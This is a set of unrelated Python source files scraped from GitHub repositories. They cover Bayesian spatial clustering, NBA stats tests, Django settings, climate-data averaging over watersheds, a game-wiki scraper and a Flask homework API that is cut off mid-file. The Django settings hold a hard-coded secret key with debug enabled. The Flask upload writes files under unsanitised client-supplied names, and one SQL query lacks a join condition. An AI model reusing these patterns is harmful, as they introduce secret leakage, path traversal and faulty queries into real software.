n: the number of total spots\n 5. alpha: addition to Wishart distribution\n 6. d: dimension of the covariance\n\n Outputs:\n 1. mu_struct: The mean of the expression values of the signature across the structure\n 2. mu_non_structure: The mean of the expression values of the signature across the non-struct\n 3. lambda_mat: the covariance matrix for the Wishart distribution\n \"\"\"\n\n # Update the means\n mu_struct = dim_reduction.loc[labels == '1', :].mean()\n mu_non_struct = dim_reduction.loc[labels == '0', :].mean()\n\n # Then update the covariance\n scale_mat = beta * np.eye(d)\n for i in range(n):\n y = dim_reduction.iloc[i, :]\n if labels[i] == '1':\n y = y - mu_struct\n else:\n y = y - mu_non_struct\n scale_mat = scale_mat + np.outer(y, y)\n lambda_mat = wishart.rvs(n + alpha, scale=np.linalg.inv(scale_mat))\n\n return mu_struct, mu_non_struct, lambda_mat\n\n\ndef MCMC(adata, num_steps, markers, key='struct', alpha=1, beta=0.1, p_thresh=0.1):\n \"\"\"\n The full MCMC algorithm that finds the structures of interest\n\n Inputs:\n 1. adata: the spatial tx sample that contains the dataset we want to find structures on\n 2. num_steps: the number of steps we run MCMC for\n 3. markers: the signature genes for the structure we are working with\n 4. key: a string that acts as the accessor to whether a spot is in the struct or not\n 5. alpha, beta: parameters for the Gibbs update\n 6. p_thresh: the probability threshold for the Fisher test\n\n Outputs:\n 1. adata: the annData now annotated with whether the spot is in the structure or not\n 2. mu_struct: the mean expression of the signatures in the struct areas\n 3. mu_non_struct: the mean expression of the signatures in the non-struct areas\n 4. lambda_mat: the covariances used for the MCMC\n \"\"\"\n # Some data parameters\n acceptances = 0\n n = len(adata.obs_names)\n\n # initialize the spots\n initialize_structures(adata, markers, struct_key=key, p_thresh=p_thresh)\n z = adata.obs[key]\n\n # select a random set of genes as markers of the non-spots\n gene_set = list(set(adata.var_names) - set(markers))\n non_markers = random.sample(gene_set, 100)\n\n # Work with a dimension reduction for the structure to initialize vals for MCMC\n signatures_follicle = pd.DataFrame(adata[:, markers].X.sum(axis=1), index=adata.obs_names)\n dim_reduction = pd.DataFrame(adata[:, non_markers].X.sum(axis=1), index=adata.obs_names)\n dim_reduction[1] = signatures_follicle[0]\n\n dim_reduction = dim_reduction.rename(columns={0: 'score not-struct', 1: 'score struct'})\n mu_struct = dim_reduction[adata.obs[key] == '1'].iloc[:, 0:2].mean().to_numpy()\n mu_non_struct = dim_reduction[adata.obs[key] == '0'].iloc[:, 0:2].mean().to_numpy()\n\n lambda_mat = beta * np.eye(2)\n\n # Build a dict for neighbors\n neighbors = buildNeighborDict(adata)\n\n # Begin MCMC procedure\n for i in range(num_steps):\n # If no steps possible\n if len(adata.obs[adata.obs[key] == '1'].index) < 1:\n break\n\n # First we do each of the spots via Metropolis Hastings\n u = random.uniform(0, 1)\n len_neighs = 0\n\n # Case of picking from structure neighborhood\n if u < 0.95:\n neighbors_list = []\n for spot in adata.obs[adata.obs[key] == '1'].index:\n spot_list = neighbors[spot].copy()\n spot_list.append(spot)\n neighbors_list.extend(spot_list)\n select_list = list(set(neighbors_list))\n\n while len_neighs == 0:\n j = random.randrange(len(select_list))\n flip_spot = select_list[j]\n len_neighs = len(neighbors[flip_spot])\n\n # Case where we pick at random\n else:\n while len_neighs == 0:\n j = random.randrange(len(z))\n flip_spot = adata.obs_names[j]\n len_neighs = len(neighbors[flip_spot])\n\n old_vals = adata.copy()\n total_product = returnTotalProduct(adata, flip_spot, dim_reduction,\n mu_struct, mu_non_struct,\n lambda_mat, neighbors, key)\n\n # Check for the acceptance\n u = random.uniform(0, 1)\n if total_product >= u:\n accepted = True\n acceptances += 1\n z = adata.obs[key]\n else:\n accepted = False\n # Revert back to previous value\n adata.obs[key][flip_spot] = old_vals.obs[key][flip_spot]\n\n # Next we do the update of all the other parameters via Gibbs sampling\n if accepted:\n mu_struct, mu_non_struct, lambda_mat = GibbsUpdate(dim_reduction, adata.obs[key], \n beta, n, alpha, d=2)\n\n return adata, mu_struct, mu_non_struct, lambda_mat\n","repo_name":"shivamjgandhi/scRNAseq","sub_path":"spatial/MCMC.py","file_name":"MCMC.py","file_ext":"py","file_size_in_byte":11686,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"21508312250","text":"import unittest\nimport os\n\nimport pandas\nfrom datetime import date\n\nimport nba\n\n# These tests do calls to the nba_api and take upto 2 minutes to run due to rate limiting\n\n@unittest.skipIf(os.environ.get(\"TRAVIS\"), \"Don't run this test on travis.\")\nclass TestNbaGetGames(unittest.TestCase):\n\n def test_return_type(self):\n \"\"\"\n Check calls to `get_games` returns a `ResultSet` object with the two\n expected dataframes\n \"\"\"\n d = date(year=2017, month=11, day=2)\n\n results = nba.get_games(d, d)\n self.assertIsInstance(results, nba.ResultSet)\n\n results_dict = results.get_all()\n self.assertIsInstance(results_dict, dict)\n self.assertIsInstance(results_dict[\"game_headers\"], pandas.DataFrame)\n self.assertIsInstance(results_dict[\"game_scores\"], pandas.DataFrame)\n\n def test_games_fetched(self):\n \"\"\"\n Check calls to `get_games` returns correct sized dataframe\n \"\"\"\n start_date = date(year=2017, month=10, day=27)\n end_date = date(year=2017, month=10, day=30)\n\n results = nba.get_games(start_date, end_date)\n headers = results.get(\"game_headers\")\n self.assertEqual(len(headers), 31)\n\n\n@unittest.skipIf(os.environ.get(\"TRAVIS\"), \"Don't run this test on travis.\")\nclass TestNbaGetBoxscores(unittest.TestCase):\n\n def test_it(self):\n \"\"\"\n Check calls to `get_all_boxscores` returns correct amount of\n boxscores/dataframes\n \"\"\"\n game_id = \"0021700032\"\n periods = [\"game\", \"h1\", \"h2\", \"q1\", \"q2\", \"q3\", \"q4\"]\n\n results = nba.get_all_boxscores(game_id, periods)\n\n self.assertIsInstance(results, nba.ResultSet)\n\n results_dict = results.get_all()\n self.assertEqual(len(results_dict), 94)\n\n for key, value in results_dict.items():\n self.assertIsInstance(key, str)\n self.assertIsInstance(value, pandas.DataFrame)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"hinfaits/nba_stats","sub_path":"nba_stats/tests/integration/test_nba_getters.py","file_name":"test_nba_getters.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"6552095344","text":"import allure\nimport pytest\n\nfrom src.page_objects.MainPage import MainPage\nfrom src.page_objects.elements.Elements import Elements\n\n\n@allure.title('Проверяем переключение валют')\n@pytest.mark.parametrize('currency',\n ['EU', 'Pound', 'US'])\ndef test_currency_euro(browser, currency):\n MainPage(browser) \\\n .open_main_page()\n Elements(browser) \\\n .click_currency() \\\n .choose_currency(currency)\n if currency == 'EU':\n assert Elements(browser).get_currency_icon() == '€'\n elif currency == 'Pound':\n assert Elements(browser).get_currency_icon() == '£'\n elif currency == 'US':\n assert Elements(browser).get_currency_icon() == '$'\n","repo_name":"DmitrievSergey/auto-web-qa-2206","sub_path":"tests/elements/test_elements.py","file_name":"test_elements.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"27238598668","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('manager', '0003_auto_20150413_1527'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='attribute',\n options={'ordering': ['name'], 'verbose_name_plural': 'attributes'},\n ),\n migrations.AlterUniqueTogether(\n name='ability',\n unique_together=set([('character', 'name')]),\n ),\n migrations.AlterUniqueTogether(\n name='attribute',\n unique_together=set([('character', 'name')]),\n ),\n ]\n","repo_name":"mikrasov/Project-Koinonia","sub_path":"manager/migrations/0004_auto_20150413_1551.py","file_name":"0004_auto_20150413_1551.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73694481009","text":"\"\"\"\nDjango settings for boilerplate project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\n\"\"\"\n\nfrom .paths import *\n\nfrom .databases import *\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '*6p)^s1m3b7anmya0)y_^y=&h$^ko0+h30z^!-pyfxx@xsh5$a'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nTEMPLATE_DEBUG = True\n\nALLOWED_HOSTS = []\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n # Gunicorn support\n 'gunicorn',\n\n # Database management\n 'south',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'boilerplate.urls'\n\nWSGI_APPLICATION = 'boilerplate.wsgi.application'\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\n\nSTATIC_URL = '/static/'\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s \\\n %(process)d %(thread)d %(message)s'\n },\n },\n 'handlers': {\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'verbose'\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins', 'console'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n 'events': {\n 'handlers': ['console'],\n 'level': 'INFO',\n 'propagate': True,\n },\n 'user': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n 'common': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n }\n}\n","repo_name":"klumhru/lpngd-boilerplate","sub_path":"boilerplate/boilerplate/settings/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40476155916","text":"import requests\nfrom config import CONFIG\nimport psutil\n\nclass UTILS:\n def __init__(self) -> None:\n self.weather_api_url = \"http://api.weatherapi.com/v1/current.json\"\n self.weather_api_key = CONFIG.WEATHER_API_KEY\n\n def neofetch(self):\n cpu_info = f\"CPU: {psutil.cpu_percent(interval=1)}% utilization\"\n mem_info = psutil.virtual_memory()\n mem_info_str = f\"Memory: {mem_info.percent}% used ({round(mem_info.used / (1024 ** 3), 2)} GB used of {round(mem_info.total / (1024 ** 3), 2)} GB)\"\n disk_info = psutil.disk_usage('/')\n disk_info_str = f\"Disk: {disk_info.percent}% used ({round(disk_info.used / (1024 ** 3), 2)} GB used of {round(disk_info.total / (1024 ** 3), 2)} GB)\"\n net_info = psutil.net_if_addrs()\n net_info_str = \"Network:\"\n for interface, addresses in net_info.items():\n for address in addresses:\n if address.family == psutil.AF_LINK:\n net_info_str += f\"\\n {interface}: {address.address}\"\n return f\"Neofetch Information:\\n{cpu_info}\\n{mem_info_str}\\n{disk_info_str}\\n{net_info_str}\"\n\n def get_weather(self, city):\n out = \"\"\n params = {'key': self.weather_api_key, 'q': city}\n response = requests.get(self.weather_api_url, params=params)\n data = response.json()\n if response.status_code == 200:\n out += f\"\"\"Weather Details for {data['location']['name']}, {data['location']['country']}:\\n\nTemperature: {data.get('current').get('temp_c')}°C\nFeels Like: {data.get('current').get('feelslike_c')}°C\nCondition: {data.get('current').get('condition').get('text')}\nWind Speed: {data.get('current').get('wind_kph')} km/h\nWind Direction: {data.get('current').get('wind_dir')}\nCondition: {data.get('current').get('condition').get('text')}\nHumidity: {data.get('current').get('humidity')}%\nCloud: {data.get('current').get('cloud')}%\"\"\"\n else:\n out += f\"Error: {data['error']['message']}\"\n return out\n\n\n","repo_name":"StarkGang/FlaskUtilityServer","sub_path":"term_utils.py","file_name":"term_utils.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"25846122949","text":"from pathlib import Path\nimport xagg as xa\nimport xarray as xr\nimport pandas as pds\nimport geopandas as gpds\nimport numpy as np\nimport shapefile as shp\nimport xesmf as xe\nfrom shapely.geometry import Polygon, MultiPolygon\nimport glob\npds.set_option('display.max_rows', 200)\nimport datetime\nimport matplotlib.pyplot as plt\nimport regionmask\nimport multiprocessing\n\n# Define what variables are to be extracted \nvariables = ['GLW','GRAUPELNC','GRDFLX','HFX','LH','OLR','Q2','RAINNC','SNOW','SR','SWDOWN','T2','TSK','U10','V10'] #WIND=SQRT(U102+V102) (http://www.meteo.unican.es/wiki/cordexwrf/OutputVariables)\nvar_names = ['DOWNWARD LONG WAVE FLUX AT GROUND SURFACE','ACCUMULATED TOTAL GRID SCALE GRAUPEL','GROUND HEAT FLUX','UPWARD HEAT FLUX AT THE SURFACE','LATENT HEAT FLUX AT THE SURFACE','TOA OUTGOING LONG WAVE','Specific humidity','ACCUMULATED TOTAL GRID SCALE PRECIPITATION','SNOW WATER EQUIVALENT','fraction of frozen precipitation','DOWNWARD SHORT WAVE FLUX AT GROUND SURFACE','TEMP at 2 M','SURFACE SKIN TEMPERATURE','U at 10 M','V at 10 M']\n\n# First we read a RAV file and create an xarray dataset to calculate the xesmf averager\nyear = 1980\npath = '/data/rav/data/%s-%s' % (year,str(year+1)[-2:])\nfilenames = glob.glob(path + '/*')\nds_coords = xr.open_dataset(filenames[0])\n\ntimes = []\nfor x in range(len(ds_coords['Times'].values)): \n times.append(pds.to_datetime((ds_coords['Times'].values[x]).decode(\"utf-8\").replace('_',' ')))\n\nds = xr.open_dataset(filenames[0])\nds = ds.assign_coords({\"time\":times ,\"latitude\": ds_coords['XLAT'].sel(Time=1),\"longitude\": ds_coords['XLONG'].sel(Time=1)})\n\n# We need to add the grid-cell bounds to the dataset as dimensions\n# So we calculate the bounds as follows:\n\n# This is the difference between center-points of grid cells\ndx = ds.longitude[1:,:] - ds.longitude[:-1,:]\ndy = ds.latitude[:,1:] - ds.latitude[:,:-1]\n\n# We divide by two and insert the missing edge line\na = dx.values/2\na = np.insert(a,0,a[0],axis=0) # Insert first edge line \n# a = np.insert(a,-1,a[-1],axis=0) # Insert last edge line \n\n# Now we calculate the bounds by shifting the original longitude values by the distance between grid centers divided by 2\nnew_x = ds.longitude.values - a # In CARRA we had to subtract 360\n# Append last edge column\nnew_x = np.insert(new_x,-1,new_x[:,-1]+a[:,-1],axis=1) \n# Also insert the last edge column to a before we can create the last edge row of the new bounds\na = np.insert(a,-1,a[:,-1],axis=1) # Insert last edge column to a \nnew_xx = np.insert(new_x,len(ds.south_north),new_x[-1]+2*a[-1],axis=0) # Append last edge row to new_x\n# Eða: ds.longitude[-1] + a[-1]\n\nb = dy.values/2\nb = np.insert(b,0,b[:,0],axis=1)\nnew_y = ds.latitude.values - b\n\n# Append last edge line to new_y\nnew_y = np.insert(new_y,-1,new_y[-1],axis=0) # Insert last edge line\n# Insert last edge line to b\nb = np.insert(b,-1,b[-1],axis=0) # Insert last edge line\n# Insert last edge column to new_y\nnew_yy = np.insert(new_y,len(ds.west_east),new_y[:,-1]-2*b[:,-1],axis=1) # Insert last edge column\n\nds['lon_b'] = (['x_b','y_b'],new_xx)\nds['lat_b'] = (['x_b','y_b'],new_yy)\n\n# Read the watershed shapefile\npath = '/home/xhordurbhe/Verkefni/lamah_ice/data/Basins_A_with_glaciers_wgs84.shp'\ngdf = gpds.read_file(path)\n\n#Simplify the geometries to a 0.001 deg tolerance\ngdf[\"geometry\"] = gdf.simplify(tolerance=0.001, preserve_topology=True)\ngdf = gdf.set_index('id')\n\n# Calculate the spatial averager:\nsavg = xe.SpatialAverager(ds.sel(time=ds.time[0]), gdf.geometry, geom_dim_name=\"wshed\")\n\ncumulated_variables=['RAINNC','GRAUPELNC']\n\n# Now we calculate the averages of the weather parameters on the watersheds\n# Folder to save a concatenated netcdf file for each year:\nfolder = '/home/xhordurbhe/Verkefni/lamah_ice/rav2_on_watersheds_Basins_A'\n\n\ndef process_file(filename):\n ds_c = xr.open_dataset(filename)\n # Calculate spatial averages\n out = savg(ds_c)\n # Extract datetime values:\n times = []\n for x in range(len(ds_c['Times'].values)):\n times.append(pds.to_datetime((ds_c['Times'].values[x]).decode(\"utf-8\").replace('_', ' ')))\n\n out = out.assign_coords(wshed=xr.DataArray(gdf.index, dims=(\"wshed\",)), Time=xr.DataArray(times, dims=(\"Time\",)))\n out = out.drop_vars(['longitude', 'latitude'])\n\n # Calculate daily means\n ds_wsheds = out[variables] # .resample(time='1D').mean()\n # We now have an xarray dataset with hourly averages over all watersheds (dimension: \"wshed\")\n return ds_wsheds\n\ndef process_year_range(year):\n path = '/data/rav/data/%s-%s' % (year, str(year + 1)[-2:])\n filenames = glob.glob(path + '/*')\n\n listi = []\n for filename in filenames:\n print(filename)\n ds_wsheds = process_file(filename)\n listi.append(ds_wsheds)\n\n # Create a concatted xarray dataset with the full year\n print('finished all files for year %s. now concatenating:' % year)\n concatted = xr.concat(listi, dim='Time')\n\n # Sort by time and save the dataset\n concatted = concatted.sortby('Time')\n path = folder + '/%s.nc' % year\n concatted.to_netcdf(path)\n print('xesmf spatial averaging complete for %s' % year)\n\ndef main():\n # ... (Existing code for creating the spatial averager, loading the watershed shapefile, etc.)\n\n # Define the range of years to process\n start_year = 1958\n end_year = 2019\n years_to_process = range(start_year, end_year)\n\n # Define the number of processes (you can adjust this based on the number of CPU cores available)\n num_processes = 16 #multiprocessing.cpu_count()\n\n # Create a pool of processes\n pool = multiprocessing.Pool(processes=num_processes)\n\n # Process the years in parallel using the pool\n pool.map(process_year_range, years_to_process)\n\n # Close the pool to release resources\n pool.close()\n pool.join()\n\n # Combine the netCDF datasets and export .csv files:\n filenames = glob.glob(folder + '/*.nc')\n ds_all_years = xr.open_mfdataset(filenames)\n ds_all_years = ds_all_years.sortby('Time')\n\n for wshed in ds_all_years.wshed.values:\n dff = ds_all_years.sel(wshed=wshed).to_dataframe()\n\n # Handle variables that WRF accumulates:\n cumulated_variables = ['RAINNC', 'GRAUPELNC']\n for cumvar in cumulated_variables:\n raindiff = dff[cumvar].diff()\n raindiff[raindiff < 0] = 0\n raindiff = raindiff.fillna(0)\n dff[cumvar] = raindiff\n dff.to_csv(folder + '/csv/ID_%s.csv' % wshed)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"hhelgason/LamaH-Ice","sub_path":"timeseries/meteorological_timeseries/rav_to_watersheds_multiproc.py","file_name":"rav_to_watersheds_multiproc.py","file_ext":"py","file_size_in_byte":6501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40475639528","text":"import json\nimport requests\n\nfrom .constants import *\nfrom .selector import update_selectors\n\n\ndef scrape_wiki(db):\n \"\"\"Runs the wiki scraper and rebuilds the selectors. For use with concurrent.futures.\"\"\"\n scraper = WikiScraper(db)\n scraper.scrape_items()\n update_selectors(db)\n print(\"Wiki Scraper has finished\")\n\n\nclass WikiScraper(object):\n def __init__(self, db):\n self.api_url = 'https://pathofexile.gamepedia.com/api.php'\n self.db = db\n\n def scrape_items(self):\n result = {\n 'itemCategories': {\n 'weapons': WEAPON_ITEM_CLASSES,\n 'armour': ARMOUR_ITEM_CLASSES,\n 'jewelry': JEWELRY_ITEM_CLASSES,\n 'gems': GEM_ITEM_CLASSES,\n 'flasks': FLASK_ITEM_CLASSES,\n 'currency': CURRENCY_ITEM_CLASSES,\n 'other': OTHER_ITEM_CLASSES\n },\n 'itemClasses': dict()\n }\n for item_class in ALL_ITEM_CLASSES:\n print(\"Scraping\", item_class)\n if item_class in ARMOUR_ITEM_CLASSES:\n result['itemClasses'][item_class] = self.scrape_armour_class(item_class)\n else:\n result['itemClasses'][item_class] = self.scrape_item_class(item_class)\n\n self.db.game_constants.replace_one({}, {'data': result, 'json': json.dumps(result)}, upsert=True)\n\n def _cargoquery(self, **kwargs):\n \"\"\"\n Generic wiki api query. Performs a cargo query with the given parameters.\n Automatically adds the action=cargoquery and format=json that are always needed.\n \"\"\"\n params = dict(action='cargoquery', format='json', limit=500, **kwargs)\n headers = {'User-agent': 'poe.gg'}\n response = requests.get(self.api_url, params=params, headers=headers)\n if response.status_code != 200:\n print(\"ERROR: wiki api returned \", response.status_code, response.text)\n raise Exception(\"API Error\")\n\n try:\n return json.loads(response.text)['cargoquery']\n except:\n print(\"ERROR\")\n print(response.text)\n raise Exception(\"API Error\")\n\n def scrape_item_class(self, item_class, tables=(), fields=(), join_on=None, where=''):\n tables = ','.join(['items'] + list(tables))\n default_fields = ['name', 'drop_level', 'required_strength', 'required_dexterity', 'required_intelligence']\n fields = ','.join(default_fields + list(fields))\n if len(where) > 0:\n where += ' AND '\n where += 'class=\"{}\" AND drop_enabled AND NOT is_fated AND rarity=\"Normal\"'.format(item_class)\n\n def generate_results():\n response = self._cargoquery(tables=tables, join_on=join_on, fields=fields, where=where)\n for obj in response:\n item = obj['title']\n yield {\n 'itemclass': item_class,\n 'basetype': item['name'],\n 'droplevel': int_or_0(item['drop level']),\n 'req_str': int_or_0(item['required strength']),\n 'req_dex': int_or_0(item['required dexterity']),\n 'req_int': int_or_0(item['required intelligence']),\n 'armour': int_or_0(item.get('armour', 0)),\n 'evasion': int_or_0(item.get('evasion', 0)),\n 'energy_shield': int_or_0(item.get('energy shield', 0))\n }\n\n results = {x['basetype']: x for x in generate_results()}\n return results\n\n def scrape_armour_class(self, armour_class):\n return self.scrape_item_class(\n armour_class,\n tables=['armours'],\n join_on='items._pageName = armours._pageName',\n fields=['armour', 'evasion', 'energy_shield'])\n\n\ndef int_or_0(txt):\n try:\n return int(txt)\n except:\n return 0","repo_name":"bschug/filtercloud","sub_path":"src/wiki/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"1614761744","text":"from flask import json, request\nimport os\nimport datetime\nimport TCP\nimport TCP.utils as utils\n\n\n@TCP.app.route('/api/tea_posthomework', methods=['POST'], strict_slashes=False)\ndef tea_post_homework():\n \"\"\"\n Post homework (for teacher).\n \"\"\"\n \n # get parameters from request\n _cid = request.form.get('cid', type=str)\n _hname = request.form.get('hname', type=str)\n _hdes = request.form.get('hdes', type=str)\n _hdate = request.form.get('hdate', type=str) # date: YYYY-MM-DD\n _hanswer = request.form.get('hanswer', type=str)\n\n\n # _cid = \"1\"\n # _hdate = \"2020-10-01\"\n # _hanswer = \"ANSWER\"\n\n # connect to mysql\n conn = TCP.mysql.connect()\n cursor = conn.cursor()\n\n cursor.execute('INSERT INTO homeworks(cid, hname, hdes, hdate, hanswer) \\\n VALUES (%s, %s, %s, %s, %s)' , (_cid, _hname, _hdes, _hdate, _hanswer))\n \n conn.commit()\n\n msg = []\n # if len(data) == 0:\n # msg['info'] = 'NULL'\n # else:\n # msg['info'] = 'SUCCEED'\n\n cursor.close()\n conn.close()\n return json.dumps(msg)\n\n\n@TCP.app.route('/api/tea_viewall_homework', methods=['POST'], strict_slashes=False)\ndef tea_view_all_homework():\n \"\"\"\n View brief homework (for teacher).\n \"\"\"\n\n # get parameters from request\n _id = request.form.get('id', type=str)\n\n # connect to mysql\n conn = TCP.mysql.connect()\n cursor = conn.cursor()\n\n # get parameters from request\n cursor.execute('SELECT courses.cid, courses.cname FROM courses WHERE ctid=%s', (_id,))\n courseData = cursor.fetchall()\n\n # return to frontend\n msg = []\n if len(courseData) > 0:\n for record in courseData:\n tempDic = {}\n tempDic['cid'] = record[0]\n tempDic['cname'] = record[1]\n tempDic['homework'] = []\n\n cursor.execute('SELECT hid, hname, hdes, hdate FROM homeworks WHERE cid = %s', (record[0],))\n homeworkData = cursor.fetchall()\n for homework in homeworkData:\n homeworkDic = {}\n homeworkDic['hid'] = homework[0]\n homeworkDic['hname'] = homework[1]\n homeworkDic['hdes'] = homework[2]\n homeworkDic['hdate'] = homework[3]\n tempDic['homework'].append(homeworkDic)\n \n msg.append(tempDic)\n\n cursor.close()\n conn.close()\n return json.dumps(msg)\n\n\n@TCP.app.route('/api/tea_viewdetailed_homework', methods=['POST'], strict_slashes=False)\ndef tea_view_detailed_homework():\n \"\"\"\n View detailed homework (for teacher).\n \"\"\"\n\n # get parameters from request\n _hid = request.form.get('hid', type=str)\n\n # connect to mysql\n conn = TCP.mysql.connect()\n cursor = conn.cursor() \n\n cursor.execute('SELECT submit.uid, submit.hurl, submit.hstatus, submit.score, users.uname FROM submit, users \\\n WHERE submit.hid=%s and submit.uid=users.id', (_hid,))\n data = cursor.fetchall()\n\n msg = []\n if data:\n for record in data:\n tempDic = {}\n tempDic['uid'] = record[0]\n tempDic['hurl'] = record[1]\n tempDic['hstatus'] = record[2]\n tempDic['score'] = record[3]\n tempDic['uname'] = record[4]\n msg.append(tempDic)\n\n cursor.close()\n conn.close()\n return json.dumps(msg)\n\n\n@TCP.app.route('/api/scorehomework', methods=['POST'], strict_slashes=False)\ndef score_homework():\n \"\"\"\n Score homework.\n \"\"\"\n \n # get parameters from request\n _uid = request.form.get('id', type=str)\n _hid = request.form.get('hid', type=str)\n _score = request.form.get('score', type=str)\n\n # connect to mysql\n conn = TCP.mysql.connect()\n cursor = conn.cursor()\n\n cursor.execute('UPDATE submit SET score=%s WHERE hid=%s and uid=%s',\n (_score, _hid, _uid))\n conn.commit()\n\n msg = []\n msg.append({'info': 'SUCCEED'})\n cursor.close()\n conn.close()\n return json.dumps(msg)\n\n\n# @TCP.app.route('/api/stu_viewcourse', methods=['POST'], strict_slashes=False)\n# def stu_view_course():\n# \"\"\"\n# View course (for student).\n# \"\"\"\n# _id = request.form.get('id', type=str)\n\n# # connect to mysql\n# conn = TCP.mysql.connect()\n# cursor = conn.cursor()\n# cursor.execute('SELECT utype FROM users WHERE id=%s', (_id,))\n# data = cursor.fetchall()\n\n# # judge if it's student\n# if data[0][0] != 'S':\n# return None\n\n# cursor.execute('SELECT * FROM courses WHERE ctid=%s', (_id,))\n# data = cursor.fetchall()\n\n# # return to frontend\n# msg = []\n# if len(data) > 0:\n# msg['cid'] = data[0][0]\n# msg['cname'] = data[0][1]\n# else:\n# msg['info'] = 'NULL'\n\n# cursor.close()\n# conn.close()\n# return json.dumps(msg)\n\n\n@TCP.app.route('/api/stu_viewhomework', methods=['POST'], strict_slashes=False)\ndef stu_view_homework():\n \"\"\"\n View homework (for student).\n \"\"\"\n \n # get parameters from request\n _cid = request.form.get('cid', type=str)\n \n # connect to mysql\n conn = TCP.mysql.connect()\n cursor = conn.cursor()\n\n cursor.execute(\n 'SELECT homeworks.hid, homeworks.hname, homeworks.hdes, homeworks.hdate, submit.score, submit.hstatus FROM homeworks, submit WHERE cid=%s', (_cid,))\n data = cursor.fetchall()\n\n msg = []\n if data:\n for record in data:\n tempDic = {}\n tempDic['hid'] = record[0]\n tempDic['hname'] = record[1]\n tempDic['hdes'] = record[2]\n tempDic['hdate'] = record[3]\n tempDic['score'] = record[4]\n tempDic['hstatus'] = record[5]\n msg.append(tempDic)\n\n cursor.close()\n conn.close()\n return json.dumps(msg)\n\n\n@TCP.app.route('/api/submithomework', methods=['POST'], strict_slashes=False)\ndef submit_homework():\n \"\"\"\n Submit homework (for student).\n \"\"\"\n # get parameters from request\n\n print('------------')\n print(request.form)\n _hid = request.form.get('hid', type=str)\n _uid = request.form.get('uid', type=str)\n # connect to mysql\n conn = TCP.mysql.connect()\n cursor = conn.cursor()\n\n cursor.execute('SELECT cid, hdate FROM homeworks WHERE hid=%s', (_hid,))\n data = cursor.fetchone()\n print(_hid)\n print('test')\n print(_uid)\n # print(data)\n _cid = data[0]\n _date = data[1]\n \n\n file_dir = os.path.join(\n TCP.app.config['BASEDIR'], TCP.app.config['UPLOAD_FOLDER'], str(_cid), _hid, _uid) # 拼接成合法文件夹地址\n if not os.path.exists(file_dir):\n os.makedirs(file_dir) # 文件夹不存在就创建\n f = request.files['myfile'] # 从表单的file字段获取文件,myfile为该表单的name值\n if f and utils.allowed_file(f.filename): # 判断是否是允许上传的文件类型\n fname = f.filename\n\n # 根据系统时间重命名文件\n # unix_time = int(time.time())\n # new_filename = str(unix_time)+'.'+ext # 修改了上传的文件名\n\n ext = fname.rsplit('.', 1)[1] # 获取文件后缀\n new_filename = fname + '.' + ext\n f.save(os.path.join(file_dir, new_filename)) # 保存文件到UPLOAD_FOLDER\n # print(file_dir)\n file_url = \"file://\" + file_dir + '/' + new_filename\n # print(file_url)\n # return render_template('upload.html', status='OK')\n\n now = datetime.datetime.now()\n submit_status = utils.isOvertime(now.year, now.month, now.day, str(_date))\n cursor.execute('REPLACE INTO submit(hid, uid, hurl, hstatus) 